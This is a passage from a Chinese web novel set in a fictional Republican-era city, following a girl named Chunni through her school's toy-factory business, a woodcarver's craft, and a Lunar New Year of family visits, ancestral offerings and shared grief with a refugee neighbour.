方校长果然很心动,问舒老师:“包教授会不会瞧不上咱们这小地方,不肯来啊?” 别看方校长平时在其他地方百般抠索,涉及到教书授课,相当舍得花钱。 舒老师看了眼春妮:“应该没问题。” 包教授带的学生昨天才把人家学校的电线弄爆, 这点小要求肯定不好意思拒绝,别说人家工厂还给付钱。 “那就好, 舒老师,你跟我来,咱们这就给包教授打电话吧。” 为了接收业务方便,前两天学校才找电话局的人过来大出血安装了一台电话, 否则方校长也不会因为排电线的事这么闹心。 春妮安慰舒老师安慰得挺好,其实心里也不是不虚。她千算万算, 最后问题没出在机器上,而是电线出了问题。 为了避免再出状况,她决定最近远离这些危险的东西, 干点安全的事,比如围观韩师父雕刻木刻。等包教授来后, 自己再私下出点钱,请他给学校做个安全大检查再说其他。 越是临近节日,玩具厂的生意越好。 除了春妮他们新开发的多米诺, 之前的林 老师的太阳积木也卖得不错。纵然有更多的厂家冒出来搅局,但春妮他们的太阳比别人的鲜艳,比人卖得早,这就是优势。 这个优势目测一时半会儿无法被人赶超,春妮在心里盘算一番,也就放心围观韩师父的艺术创作过程。 因为学校跟厂房挨在一起,工厂对像鲁师父和韩师父这样年纪大的老人家很尊重,并不对他们限定很多,春妮把整个学校翻过一圈,才在学校院墙后门外的废墟上找到的他。 老师父披着件洗得发白的蓝布夹袄,正眯缝着眼睛,将手中的木板对着阳光细细观察。 他昨天在材料中选择了一块上好的松木,说是要用独门的技术先熏烤一晚上用来防虫,松木上此时已经用细炭笔画上了一幅简单的关公立刀图。 春妮看了一会儿,没瞧出这副图跟她家乡市集里卖的有什么两样。甚至她暗搓搓地觉得,韩师父木板上画的那副图有些线条画得有点别扭,像是少了点什么似的。 老师父不知道身边人在腹诽他。春妮坐到他旁边,他眉眼也不抬,似乎根本不知道身边多了个人,旁若无人地他拿起凿子,从关公的巾帻开始,沿边缘线一点点敲击,一点点延伸到鬓发,耳廓,胡须……每凿完一小段,他再更换锉刀,将凿刻过的位置不厌其烦地打磨一遍。 老师父似乎一点也没想到,这是一件需要在几天内完成的作品。他不慌不忙,按着自己的节奏轻巧而麻利,考究而仔细地雕琢着,打磨着。 渐渐地,那些深深浅浅的痕迹像流动的水一样活了过来。关公的巾帽飞扬欲起,须发飘逸却根根分明。简单数下凿磨,这个人物突然像注入了生命力一般,活了过来。 在规律单调的敲击声中,春妮惊讶地发现,她之前觉得怪异的地方变成了关公眼角深深浅浅的纹路,衣襟的褶皱和张扬的眉峰。 春妮看出了神。 她曾听老师说过,大象无形,大巧若拙。因为雕刻这种东西,在末世早就失传了,末世人没有条件和闲心学习对自己没用的知识,她怎么也想不明白,巧就是巧,拙就是拙,怎么叫大巧若拙? 但在这一刻,她完全理解了这句话的意思。 大匠十年,小匠三年。韩师父说得很对,雕刻不止是技术,更是艺术,分毫不能马虎。 可是,学校的情况不等人…… 难怪说,多少绝学神技都是毁在乱世之中。乱世里,容不得这样从容雅致的慢活儿。 春妮万分纠结,连韩师父的神技表演似乎也变得索然无味。 “呼”,风刮着木屑飞了春妮一脸。 春妮揉揉眼睛,才发现韩师父不知什么时候停下了刻刀,正在看她。 “哼,真是什么都不懂的小丫头片子,白看了。”他翘着胡子,气得不轻。 “那个……”春妮想解释两句。 “你不用追着我怕我碍事,昨天我大侄儿跟我说了,放心,我老头子碍不了你的事!”韩师父似乎误会了什么:“这块板刻完,随你拿去劈拿去砍,我都不会多说一句!” 言毕,老头儿拂袖而去。 春妮一句“误会”愣是憋在嗓子眼里没说出来。 韩厂长到底跟老师父怎么说的? 春妮的确有用韩师父刻的板为蓝本,做成拼图的打算,但她再傻也不会拿师父的原版去改刀。 做拼图要留出至少毫厘的空隙打磨边缘,本来就不可能将原版拼图锯成碎块再拼接起来,那样做的话,万一版面略有毁损就前功尽弃,实在太奢侈了。 她只是刚刚突然发现,韩师父做的是艺术品,如果按照她之前的想法将其分割碎裂后流水线出售,做成的商品就失去了浑然一体,流畅自然的风格。 这就像一面完美的镜子被打碎后再重新粘起来一样,无论怎么拼,都无法再回归原位。 这才是真正的摧毁。 太可惜了。 春妮没想到韩厂长花了不到三十块,请来的不是匠人,而是大师。这点工钱请来这样的大师,简直白菜价。 可工厂没有闲钱供养大师。 如果韩师父的木刻无法给工厂带来明显效益,他在这也待不了多久。 “今年给卫公馆送的礼物改一改吧。”从后门回工厂之后,春妮跟韩厂长商量。 韩厂长正跟舒老师商量请包教授来上课,该教什么内容。 闻言,他很紧张:“怎么?是我族伯哪做得不好吗?” 春妮将她最新的感悟说了,道:“我总觉得,破坏这样的艺术品是一种亵渎。咱们的水准,目前做不出这样的拼图,还是一步步来吧。” “那就把韩师父雕刻的整版送过去啊。”舒老师插了句嘴。 春妮摇摇头:“你不知道,卫家的少爷们喜欢新式的东西。如果是原汁原意的木刻送过去,只会放在库房里积灰,送过去不是糟蹋东西吗?” “那总不能什么都不送吧?” “当然不是了,要是什么都不送,校长不得跟在后头念死我们?现在林老师从卫公馆回来了,他正愁跟卫公馆的关系没法继续呢。”几人心有余悸,相视而笑,对方校长碎碎念的功力深有体会。 春妮沉吟片刻:“这两天我的事不多,看看去哪淘换淘换吧。” 比如她的空间里,不少看不出来历的,稀奇古怪的小玩意,随便拿一样出来,绝对够独特,够抓人眼球。 既然说起卫公馆的事,韩厂长继续分享新得的消息:“对了,纳尔逊先生过年后将会从卫公馆离职,这你们知道了吗?” “纳尔逊先生不在卫公馆干了?他说他下一个工作是什么了吗?” “好像是一个什么俱乐部吧。”韩厂长英文没有郑经理好,没记住名字。 不过玩具厂跟纳尔逊先生保持着相当良性的互动,他给朋友们介绍的搭建多米诺的人才令他在朋友圈中相当长脸。现在郑经理隔三岔五带着学生们那英租界跑,多数去寻纳尔逊先生帮忙介绍需要搭建多米诺的宴会,他也愿意凭此拓展人脉圈子,两方利益诉求相同,合作得很是愉快。 “肯定是有更好的地方去。”春妮说:“那我们过年给纳乐逊的礼物是不是得变一变?” “是得变一变,多加点,等郑经理回来,咱们再问问他吧。” 春妮跟韩厂长给忙着给合作伙伴们采买年礼那会儿,第二天傍晚,包教授到了学校。 方校长领头,率着工人们在路口迎接教授光临。 没寒喧两句,包教授开门见山:“校长,我知道年前大伙都忙,咱们还是尽快开始吧。” 方校长一向尊重文化人,当即无二话:“好,教授您这边请。” 包教授一看方向不是往车间去的,有意问道:“咱们这是去工厂车间?” “不是,那边是车间,这边是教室。”方校长老实答道。 包教授便换了个方向:“既然是讲安全课,咱们还是去车间现场演示吧?” 方校长有点懵:“这怎么演示?” 包教授马上就给他来了个现场解答:“我带了些工具过来。准备通过机器的原理入手,给大家解释一下什么是额定功率,什么是最大功率,什么是过载,机器出现过载时,会有什么现象,那时我们该怎么做。” 方校长不明觉厉:“哦哦,这样啊。包教授,您这边请吧。” 包教授很坦率地说:“对了,有件事要提前跟校长说一声。为了更直观地让大家了解这些事,我可能会对机器进行一个小小的拆解,希望您能同意。” 嗯? 春妮抬头看了眼包教授:这位教授似乎不像他看上去的那样憨厚嘛。 方校长不疑有他:“应该的应该的,教授,该怎么做就怎么做,不用顾及我们。” 春妮:“……” 包教授的要求还没完:“我还准备了一些现场小实验,可能需要用到机器……” “还有实验?太让您费心了。” 春妮:“……” 第 65章 065 实惠 包教授到工厂讲课的两天之后, 学校开始放寒假。 这时候距离新年已经只剩三天。 按照海城其他学校的放假时间,春妮他们的学校放学已经算顶顶晚。但这里的学生特殊,很多需要学校中午的那餐饭混个肚饱, 校长便一拖再拖, 直拖到腊月二十七号这天才正式放假。 之所以拖到这样晚,还是因为前些日子校长领着几个老师早出晚归地到学生家家访,对学生们的家境摸底后,在腊月二十五和二十六这两天中,他专门为最贫困的那批学生发放了五到二十斤不等的粮食,以及五个鸡蛋,还有十斤左右的煤球。 别看只有这几斤, 省着点吃,每个人也可以吃十来天, 直到学校春节过后上课。 光是这一笔支出,学校又花了小五百块。幸好年前多米诺生意争气,否则老师们可不敢叫校长这么挥霍。 学生们放了假,老师们还不得闲。 王老师要配合老帐房扎帐;林老师和学校从吴江大学挖来的几位化学人才正研制彩墨;尹老师跟着校长, 校长不放假,他更不能放。至于胡夏两位女老师, 别的老师都有正事忙,批改卷子不就落到她们俩身上了? 还有舒老师几个吴江大学来的机械高材生,包教授上回来学校一通忽悠, 竟让方校长这个铁公鸡点头,拨了点钱同意让舒老师几个物理老师成立实验室, 说是要研究电机。 春妮当时心里呵呵两声:就他们满海城淘换几天,只淘到几块电极,几根铜线和灯炮开关, 连个变阻器都没有的条件,说研究电机,不是做梦是什么? 这些人打量她跟方校长一样,不懂他们的那些公式定理,不跟包教授那天讲的一样吗?舒老师对他的破竹机还贼心不死呢。 包教授偏偏捏着校长嫌电机贵,怕电机出毛病修理贵这条心思,愣是说服他,说几个老师把电机研究透了,万一遇上毛病,自己就能修,不是很好? 方校长这辈子就在村塾里读过几年书,写得一笔好字。要不是跟学校的创办人江先生有点拐弯亲戚,也谋不到□□一职,最后因缘际会还当了校长。因此,他总怕自己哪里做得不好,叫人笑话,特别谦虚,特别信学问高的人说的话。 方校长品品,人家怎么说也是大教授。 包教授跟他再三保证,不会真的拆解电机。校长想想,他们报上来的实验室毛都没有一根,现在还在学校操场搭的棚子里糊弄呢。这些器材说白了也就是几十块钱的事,点头答应了。 春妮:“……”好酸好酸。 每回她跟校长说要买点啥,校长跟防贼似的,问完这个问那个,末了还总要抠个块儿八毛的,说叫春妮再给掌柜的磨磨价。虽说后边会给她按实价补齐报销,但有包教授作对比,那当然叫人不爽气了。 就这样,工厂工作到二十九当天,还是百货公司放了假,年前的生意都做得七七八八,方校长才通知员工们都歇了业。 因为生意不错,校长过年的大红包发得也大方。从韩厂长开始,春妮和郑经理几个管理每人都发了十块钱的红包,鲁师父和韩师父这样的技术人员也有八块钱,再往下,像王老师和工人们,人人不落空,都有少到三块,多到五块的红包。 红包别看多,不是最实惠的。最实惠的,是学校发的各种物资。 像煤炭这样的,早在一月冒尖,校长就张罗着发了一圈。李德三也给学校找了不少的便宜货,鱼虾蛋,糖米油,过年最愁人的大宗年货,校长这个细致人都给想到发到了。 要是让老师们自个儿买,不知多花多少,还不一定买得到。 除此之外,校长不知打哪听着一个渠道,找羊绒厂给每个老师买了条微瑕的羊绒围巾。女老师戴红色的,男老师戴蓝色的,围上去大方又保暖,可把他们开心坏了。 人人有礼,个个手不空,挨个谢过方校长的大方和这大半年的照顾,老师们很快告辞离去。 就是工厂工人们有些难办。 学生放假后的这两天校长可着鸡鸭鱼地买,说是给他们过年加班的加餐,吃得人红光满面的。到工厂关门时,有工人还舍不得离开呢,派了代表来说服校长,干脆三十守完夜,初一再接着过来干。 翻过年没多久就是元霄节,那时候肯定又是一拨好生意,工厂只要求初六来上工。可年关难过,趁能干时不多干点,再往后不知道又是个什么阵仗,大伙都舍不得浪费这好些天的时间。 可从古到今没有这样的道理,再会刮人的地主老财,都不能让人大年根儿下的还来干活,连码头都要在二十九歇业呢。校长这么干,不是要让人指着脊梁骨骂吗? 原先住学校门房的韩厂长和韩师父早两天请假先回了乡。 站在大门口,送完一拨拨工人和老师,方校长叫来春妮,师生两个搬来凳子,贴完对子和窗花,最后,将韩师父做好的关公木刻画端端正正挂到了正门最中间。 木板上,关公大刀上的红缨子烈烈而飞。多好的东西啊,还是咱自家学校挂着好! 春妮看了眼码头顶边站的两列黄蚂蚁,过年都不消停。 方校长仰头望着板刻上的大刀,这时也在感叹:“关公多好啊,挡灾挡煞,有他老人家看着,保佑咱学校一年一年地,平平安安,大人孩子什么事不出才好,直到——” 直到什么,方校长没说,但两个人都明白。 大家从未怀疑过,这一天的到来。 春妮拢住手,拒绝了方校长的相送。腊月的海城很有些冷,师母昨儿个终于带着儿女赶到了学校,她拉着校长出来挂窗花时,师母正领着孩子们在屋里炸年糕。香甜香甜的年糕味窜得人心里跟着甜蜜蜜的,没必要跟着出来再受一回冻。 路的尽头,李德三跟夏生两个等在那。 “最后一点胡辣汤我给你留着,快喝吧,来年有个好兆头。” 春妮小摊上的“胡啦”汤越发出名,弄得这附近的居民时不时也喜欢来喝一碗,讨个好意头。 夏生从灶里摸出两个黑疙瘩:“姐姐,给你。” 春妮接过来,是两个带毛栗子。 “哪来的?”海城栗子不少见,但大冬天的,带毛壳的可不好找,可能新摘下没多久。 “二绺子给的。” 春妮过会儿才想起来二绺子跟王家兄弟一样,也是附近一个混帮派的小混混。自从她带着王家兄弟两个干过两回大活,往常那些看见她只知道猫腰跑路的小混混们见了她,个个“姐姐奶奶”叫得亲热,就是有那不擅言辞的,也咧着个大嘴笑得只差插条尾巴在背后摇。 大过年的,春妮不好说他,只道:“你少跟这些人来往。” 夏生说得头头是道:“我知道。他们看在你是我弟弟的份上才给我果子吃,他们都想请姐姐帮着找活干,可羡慕王阿进了。” “那你还接?” “二绺子给的,我肯定要接啊。”夏生啃了口栗子,鼻子上沾了灶灰都不知道:“上回学校来了一车纸,我看他在外头转悠,叫他过去帮忙,才这么一点纸,校长给了他两毛钱呢。” 码头上搬六百斤货,一次也才给六毛钱,还要抽四毛给帮派,二绺子这两毛钱赚得确实轻松。 春妮敲了一下他的脑袋,擦掉他鼻子尖上的灰:“鬼精鬼精的。” 李德三凑过来帮夏生说话:“夏生是聪明,他有两回帮我收钱,帐算得一分不错,溜得很,你别管他管得太紧了。” 喝完最后这一锅汤,春妮将摊子里的锅碗灶盆,能搬走的都搬上小摊平时买菜的车送回学校,回来时,李德三正在往门上挂平安结。 “明年见。” “明年见。” ………… 回到石库门,吉拉太太的面包房仍跟往常一样开着。 他们犹太人不过春节,格林先生在院子里摆弄一辆旧自行车,这是他上星期从同事手里买来的二手货。普尔南老爷爷戴着老花镜在修理八音盒,翁婿两个礼貌地跟姐弟两个打了声招呼,接着忙活自己手头上的事。 同吉拉太太一家人来了好几年,华语还说的磕磕绊绊不同。小楼里的人都看得出来,格林先生一家人在很积极地融入新生活,包括瘸了腿的普尔南老爷爷在内,搬过来没到三个月,通用的华国语已经说得很像样了。 这一家子都是勤快人,普尔南老爷爷腿受伤不能再做事之后,他并没有闲着,经常在外边接一些如八音盒,发条玩具之类的帮忙修理。格林先生则是一位本国很有名气的药剂师,凭借履历很快在中英合作医院这样的大医院找到了好工作,邻居们要是有需要拿的药,总是能从他这拿到更便宜的。 夏风萍在昨天领着朱先生回了父母的家,于太太他们早很多天,在于先生放寒假后就收拾行李说是回乡下过年,留下春妮两个华国人跟这一街的高鼻子西洋人过起了华国一年中最重要的节日。 家乡倒似异乡。 突然少了一个人,姐弟两个都不习惯。反正这会儿刚吃过饭,春妮引燃灶火开始烧火,招呼夏生折两个报纸帽子戴在头上,两个人绑好扫帚,像妈妈和奶奶在时那样,里里外外地打扫房子。 “姐,你说,爹家里这会儿是不是也在扫房子?”夏生站在凳子底下给春妮递抹布,突然问道。 春妮一怔:他们搬来闸口路后,夏生一开始还问过几回渣爹家的事,后边见她不爱提,不知猜到什么,慢慢也就不说了。 她原以为夏生年纪小,早就忘了的。 她往下看了眼,男孩蹲在水盆边搓洗抹布,似乎并没怎么在意刚刚的问题。 这让春妮一时不知该怎么拿捏答案。 就在这时,约瑟夫在门外叫他们:“密斯顾,你有电话。” 第66章 066 幸福感 电话是常先生打来的, 他邀姐弟两个去他家过年。 算算自从小半年前的那次,在常先生家里探过他一回病,春妮就再没见到过他。常先生虽没明说, 但春妮心里, 一直把他当师父看待。常先生百忙之中给她出的卷子,平时有了好吃的好玩的,常先生一家人也不会忘了她,让常文远来捎她一份。这一点关系,比她见过的师徒都亲密。 可是被邀请去过年,那是不一样的。 春妮猝不及防,慌乱道:“我去你们家过年, 这合适吗?” “没什么合不合适的,”常先生的声音在电话里仍是那样温和:“小春妮, 我把你当成跟文远一样的后辈看待,你若是不嫌弃,只当我是你的一个长辈——” “不嫌弃不嫌弃。”春妮激动得说话都瓢了:“就是我身上带着孝,您——” 哪能嫌弃呢?人家堂堂大学校长都没嫌她乡下人不体面, 对她一路扶持,她哪来的理由矫情? 常先生笑了:“到长辈家过年, 那不是理所应当的?我们新派人物,早不讲究这些封建道理。明天早点过来,家里就你师母一个人做饭, 忙不过来,你帮她搭把手。” 常老夫人身体虚弱, 多年不下厨。常太太操持一大家的家务,据说战前也在某间学校担任教职。自从她学校被炸之后,因为家里家外不太平, 辞掉帮佣的娘姨之后,一直没再出去工作。一个人照顾一大家子,的确辛苦。 “唉。” 常先生这样家常的说话,反倒让春妮的心落了地:他肯这样吩咐,显然不把她当外人。 春妮兴奋得在屋里直转圈子,老半天想起来:“夏生,你说明天我们去常先生家,带些什么礼物?”她也不是要得到答案,她就是太兴奋,忍不住想说话。 夏生却不知什么时候跑到院外,跟约瑟夫凑上头,举着他新得的木头小火车同小伙伴的铁皮小汽车厮杀在了一起。 这是春妮托鲁师父给他做的新年礼物,原本准备初一那天送给他,不知什么时候被他偷偷翻了出来。 真是玩性大的小孩子。 春妮张望一会儿,放下心来:刚刚的那个问题,应该没在他心里留下很深的痕迹。 反正房子打扫得差不多,接下来的事他也帮不上忙,春妮便由着他去了。 去别人家过年,肯定不能打空手。 春妮将这些天抽空攒的家底一样样从床底翻出来,打算挑件合适的礼物送给常家。 这里头最多的,是方校长给老师们买来的年货,有柚子,有蜜桔,还有干鱼,校长前些日子弄来的蛋已经被她做成了咸蛋和皮蛋,现在不到送人的时候。 还有些是德三给她淘来的红豆,绿豆,江米,大枣,还有桂圆等干货,以及喷香四溢的小磨香油和几块已经被炼成油膏的猪油。炼油剩下的猪油渣早叫她拿去包子摊,加点小白菜包了油渣包子,给帮工的李德三,二丫,还有两个新招来的学生拿回去当了福利。更好的五花肉也让她抽空熏成了腊肉,灌成了香肠,它们正整整齐齐吊在房梁上引人馋涎。 柜里还藏着贵得吓死人的外国奶糖和咖啡,奶糖是昨天夏太太让夏家司机接自家小姐回家过年时,给春妮捎的年礼,咖啡则是金小姐说是来附近逛街,捎带脚送来看她带的礼物。 鬼知道如今住在法租界的金小姐怎么会想到跑到公共租界来逛街。 但她后面正经给学校介绍了好几单生意,春妮心里再看不中她,看在生意的份上,也不能跟她断了往来。 生活就是这样,你总得面对一些你不喜欢的人和事。 今年工厂业绩好,小吃摊也做得红红火火,春妮蹭老师们的福利,跟着拿了双份的红包。年末攥着满把的银钱,终于舍得多花点钱买吃买喝。 现下满当当的物资塞满了半个屋子,让她心里充满了踏实的幸福感。 王地主家过年,也没有这么丰盛吧?春妮一样一样摸过这些在钟县小村子里绝难看到的好东西,满足地想。 这可是她到海城大半年就赚来的! 兴奋过去后,春妮打算亲手做点吃的给常家人送过去。 如今常先生一家人住在英国公使借给他们住的小洋楼里,想吃什么肯定都不缺。唯独家乡味,是买不来的。 过年了,就该甜甜蜜蜜的,春妮做了他们钟县人过年最爱的蜜三刀和豌豆糕。 这两样甜点,豌豆糕提前做完,第二天拎着就能走,蜜三刀却要现炸才香。 第二天,春妮仍像往常那样起了个大早,揉面,饧面,熬糖浆,起油锅,炸面饼…… 变色没多久的蜜三刀刚冒出香气,油锅边就围满了流着口水的小孩子。 约瑟夫打头,领着格林先生家的两个孩子给春妮作揖:“密斯顾,你新年好呀。” 春妮直笑,给这些小孩儿一块炸酥了的甜点,小孩子们开心得笑出了豁牙。 格林家那位害羞的小姑娘米妮第一次吮着手指残留的糖汁扯了扯春妮的围裙,春妮没忍住,又给了她一块。引得那群小子们哇哇叫着不公平,又一次围了上来。 油炸食品果然不愧是可以让全世界吃货们团结起来的神奇存在! 格林先生他们在来海城之前应当经历过很不好的事,这个小姑娘几乎不跟自己家人以外的人说话。每回春妮看见她,她不是躲在爷爷或爸爸的腿后,就是吓得像小兔子一样,蹬蹬往回跑。 春妮随手捏了朵玫瑰花放进油锅里,起锅时往花芯里点了滴红糖水递给她。 黄亮亮的玫瑰花膨得胖胖的,小姑娘绽开的笑脸比花儿还膨,她开心地双手掬花,蹬蹬往楼上跑。 没一会儿,二楼的楼梯口,格林先生伸出脑袋:“密斯顾,米妮让我谢谢你的花,她说她很喜欢。” 春妮冲他挥挥手,让夏生张开纸袋,将炸完的蜜三刀放进去包好,招呼一声出了门。 姐弟两个赶到电车站,正好坐上最早一班的电车去了英租界。 往常的七点钟,电车上早该挤满去上班的人。这会儿半辆车都空着,电车司机跟姐弟俩搭话:“你们两个小毛头,大过年的,不在家到处乱跑什么?” 春妮抿着嘴笑: “正要回去过年。”回亲戚家过年。 电车司机便自顾自唠叨:“过年不要乱跑,这个时候坏人多得很,前天吴中路丢了好几个孩子,都是大人一撒手,转头就不见了。还有一个,说是硬生生从姆妈手里抢下来的,家里人紧赶着去撵,硬是没撵上。” 姐弟两个被司机恐吓一路,到常先生家里坐定喝了一盅茶,夏生还捉着她的衣襟不愿意放。 常先生的小儿子文清来邀他去玩牌,他也不去:“姐姐,我哪也不去。” 文清冲他作鬼脸:“胆小鬼。” 春妮已经跟他们解释过夏生情绪异常的由来。 常先生伸手作势揍他:“浑小子,不许笑话弟弟。” 春妮没办法,拖着夏生站起来:“我去厨房跟常太太说话,你也跟我过去?” “夏生,你跟我们一起玩吧。我爸爸说今天教我们下象棋,你会下象棋吗?”看来家庭变故的阴影远去之后,让文清恢复了孩童应有的活泼。 夏生动作迟疑了一下,春妮推他一把:“去吧,来之前你不是跟我说的好好的,要跟常家哥哥做好朋友吗?” 常家厨房热火朝天的,也在炸果子。 常老夫人站在油锅旁边,指点常太太:“油炸糖糕最要紧的是油温,你这个都冒烟了,糖糕外头焦糊了,里头都炸不透,来来来,重来。” 老太太看见春妮,笑眯眯地说:“小春妮肯定会炸糖糕,是不是?” 春妮低下头笑笑:“也没有。” 老太太道:“别谦虚啦。你做的蜜三刀我吃得出来,又酥又香,在家没少做这些吧?来来来,你教教你婶儿做糖糕。你婶啊,书读得出溜,灶上手艺还得再学学。” 常太太让出灶台:“是啊,你这小姑娘怎么这么能干,我听你常奶奶说了,这两样小点心可不好做。快来亮一手,让我也学学。你常伯伯喜欢吃这个,我总做不好。雅欣,你也来跟你春妮妹妹学学,别骨嘟个嘴儿,大姑娘了,在家什么都不做,像什么话。” 雅欣是常先生的二女儿。 春妮叫婆媳两个推着,加入了厨艺交流的话题。 到厨房的老中青三代女人端出菜肴时,夏生已经在客厅里大呼小叫:“杀他的马,快快快,大象飞过来杀他的马!” 常太太扬声叫:“吃饭了,快来收拾桌子,都来吃饭了。” 两个小家伙依依不舍,常文清头也不抬:“再等会儿,妈。” 夏生大叫:“哎呀,你动卒子干什么?哎呀,又输了。” 常先生哈哈笑,拖开椅子起身:“让你不听夏生的话。文清啊,你夏生弟弟比你会下多了。” 常文清还不服:“你再给我点时间,我肯定能下赢。” 夏生眼睛亮晶晶的看常先生:“真的吗?常伯伯,我真的比文清哥还厉害?” 常先生便说:“那吃罢饭了,我跟你下一场?也让你一个车一个马?有没有真功夫,得试了才知道。” 夏生开心得笑弯了眼睛:“那说定了。” 因为常先生这句话,接下来一顿饭,夏生几乎没安生吃,一会儿问:“棋盘上为什么写的楚河汉界?” 一会儿说:“那些棋子们都用的什么兵器,为什么车这么厉害,相这么不厉害。”千奇百怪的问题多得不得了。 常家人不讲究食不言寝不语,常先生一个一个解答,有时学他“唉呀”,“这个问题我没想过,得找资料查查”,偶尔坦率地说“这先生我也不知道”,叫小家伙得意得不得了,以为自己问倒了大校长,反引得他谈兴更浓,问的问题逾发千奇百怪。 一整天下来,夏生成了常先生专属的小尾巴。 望着一大一小的身影,春妮想起夏生昨天的那个问题,心底微微一叹。 而厨房里,常老夫人也在跟常太太叹气:“真是两个好孩子,可惜命苦。” 常太太也叹气道:“可不是,向与昨天还在跟我说,要不是他怕给孩子带来麻烦,真想认他们当个干亲,哪怕是收个徒弟,以后常来常往呢。可那些倭国人盯我们盯得紧,目前也只能做到这一步了。” “你也别太记挂,各人有各人的缘法。但望这两个孩子以后都好好的吧。” 第67章 067 拉近距离 春妮拒绝了常先生一家一起守岁的要求。 吃完代表团圆的年夜饭, 姐弟两个乘坐最后一班电车回到了自己的家。 今年是姐弟两个头一年单独过年。 往年不到中午,村里长辈和家里的奶奶都该忙活着做鸡做鸭来祭祖。 春妮也说不好自己信不信这些,但想到往年家乡那些连名字都说不齐的祖宗们都能吃到子孙们供奉的糕饼果馔, 她就坐不住了。 万一因为她今天偷懒, 妈妈和奶奶在天上挨饿怎么办? 春妮让夏生收拾出小书桌当供桌,起锅卤了些肉和香肠。 姐弟两个趁着夜色,将供桌抬到院子里,面向东北——那是他们家乡的方向。她摆出前些天偷空自己做的橘饼,还有今天的蜜三刀和豌豆糕,洋奶糖也不能忘,再摆出一碟卤肉, 一碟香肠和一整条红烧鱼,小书桌直到满得放不下东西, 她才停下。 村里祭祀少不了猪头,在海城没条件,春妮用面粉捏了一个假猪头,搁在油锅里炸成金黄色, 再拿红糖水点了猪眼睛,放在供桌的中间。夏生吸着鼻子, 取出黄表纸,一张一张地折元宝。 火烛静静燃烧,一张张纸元宝被投放进火盆中, 春妮低声跟天上的亲人报平安:“……夏生和我从出家乡开始,一路遇到的都是好人, 海城人也特别好,特别大方。我们在城里天天吃鱼吃肉,过得可好可好了。你们看, 我们俩都长胖了……” “密斯顾,你们在做什么?”闻见院子里的香气,约瑟夫和几个孩子从面包房跑了出来。 春妮怕他们乱跑弄坏了祭品,解释道:“我们这里过年了要祭拜亡人,这些东西是给她们吃的。” “可是,她们不是死了吗?死人怎么吃东西?”约瑟夫从未见过华国人祭拜祖先,他很好奇,并不知道自己的问话有哪里失礼的地方。 “你胡说!她们才没死!她们是回天上去保佑我们了!”夏生对约瑟夫怒目而视。 “她们就是死了,就是死了!”约瑟夫被朋友突如其来的愤怒也激怒了。 夏生愤怒地从鼻子喷气,握着小拳头想去追他,让春妮喝斥一句:“老实跪着,钱还没烧完!” 夏生委屈地红了眼睛:“姐姐,妈妈是去天上去了,她没死,对不对?” 春妮摇摇头:“夏生,你该长大了。” 夏生“哇”地一声哭了出来。 也许从家乡出来之前,他还不太明白“死”是什么意思,可经历过那样惨烈的旅途,他又怎么会真的不明白?他只是固执地,不愿意去相信自己此生都再也见不到至亲一面。 春妮静静地烧着纸钱,没阻止他。哭泣是小孩子的权力,就像不知为什么没有走的米妮一样,她也在院子里放声大哭。 夏生被吓得都不哭了:“姐姐,米妮怎么又哭了?” 春妮将供桌上的糖果拿给她,小姑娘别着双手不肯接。 格林先生很快跑了出来,抱住小女儿。 父女两个叽哩呱啦说了几句话,小姑娘环住父亲的脖子低声抽答,格林先生同姐弟两个歉意地解释道:“米妮是听夏生说起妈妈,想起了她母亲,她妈妈也是在几个月前去世的。” 他轻轻拍击着小女儿的背,不知又说了什么,小姑娘弹动双腿,从父亲身上挣下来,跑到姐弟两人面前,盯着他们面前的火盆看了会儿,对春妮说:“妈妈。” 春妮一怔:格林先生一家人现 在都能说些华语,只有这个小姑娘,因为胆子小,几乎没怎么同他们说过话。偶尔蹦出几个华语单字,也不超过一只手掌。 倒是夏生站起来拉小姑娘:“你也想你妈妈了是不是?我也想。你给她烧点钱去,她收到你的钱,就有钱下凡来看你了。” 春妮:“……”夏生这孩子把祭祀烧纸脑补成什么了啊? 春妮去看格林,她知道他们犹太人有自己的宗教规矩。 但格林鼓励地推推小姑娘的肩膀:“去吧,去跟妈妈说会儿话。” “妈妈会听见吗?”小姑娘的眼泪还挂在腮帮子上。 “会的,”格林帮她擦干净眼泪,吻了吻小姑娘的面颊:“去吧,告诉妈妈,你过得很好。” 这天离开前,格林再一次跟春妮郑重道了谢。 他说:“自从她母亲死在她面前之后,我们都很担心她,但她一直拒绝跟我们讨论这件事,直到今天。她能哭出来面对这件事,我很高兴。谢谢你们。” “米妮的妈妈,她是怎么死的?”春妮看了一眼小姑娘,也许大哭一场让她释放了足够的精力,现在她靠在格林先生的肩头,已经闭上眼睛睡着了。 苦难会拉近人之间的距离,格林先生听说过小姐弟俩的遭遇,他今晚很有倾诉欲。 “我们听说了波兰犹太人的事,害怕被那样对待,在德国攻占英国之后,我们担心在一起走,谁也走不了。原本商量的是,我带着霍利,她和普尔南带着米妮分两路离开英国,再到奥地利汇合。我和霍利走得很顺利,米妮妈妈却死在逃亡路上。普尔南付出了一条腿的代价,才带着米妮抵达到了华国。如果那个时候,我跟她在一起,她也许不会——” 格林先生面颊肌肉抖动着,他说不下去了。 一颗奶糖递到他手上。 “吃颗糖吧,听说吃糖可以让人忘记烦恼。” “谢谢,”格林先生借剥开糖纸的动作别开眼睛,抱着女儿起身:“我得回去了。以后,要是有什么我帮得上忙的地方,你们可以到医院的药剂室来找我。” 春妮谢过他的好意,转过头去招呼夏生回房,却见夏生盯着父女两人的背影,眼中是快要溢出来的艳羡。 她的心像被什么抓了一下。 夏生跟她不一样,他从来没见过父亲,渴望父亲是本性。但这半年里,他肯定是看出了什么,从来不提让她为难的要求,她不该自以为是,以为他只要有自己这个姐姐就够了。 奶奶临死前一直盼着渣爹回来,她妈答应过奶奶,不管用什么法子,也要叫他回家乡看一眼,给爹娘烧次纸。可是奶奶死之后,她妈就病倒了。这件事,妈妈临死前交给了春妮,她却因为心里的排斥,只在到海城的那一天去找过一次。 不管渣爹是怎样的人,他是死是活,也要有个说法。 守完岁,姐弟两个躺在床上。 春妮没有睡意,隔壁夏生翻来覆去的,不知在做什么梦。 “夏生,你想去看爹吗?” 一帘之隔,夏生的动作猛地一顿。他果然没睡着。 春妮在心里叹了口气:“我打算明天去爹家里拜年,你高不高兴?” “不高兴,”夏生的声音闷在被子里,有种形容不出来的委屈:“我不去。” 这春妮就不懂了,讶道:“你不想爹吗?” “不想!”夏生猛地掀开被子:“姐,你以前是不是骗我?爹他根本不想要我们?” 春妮没作声。那时候她以为渣爹会是他们在海城的依靠,编了许多瞎话让夏生不敌视他,现在,她不想再骗他了。 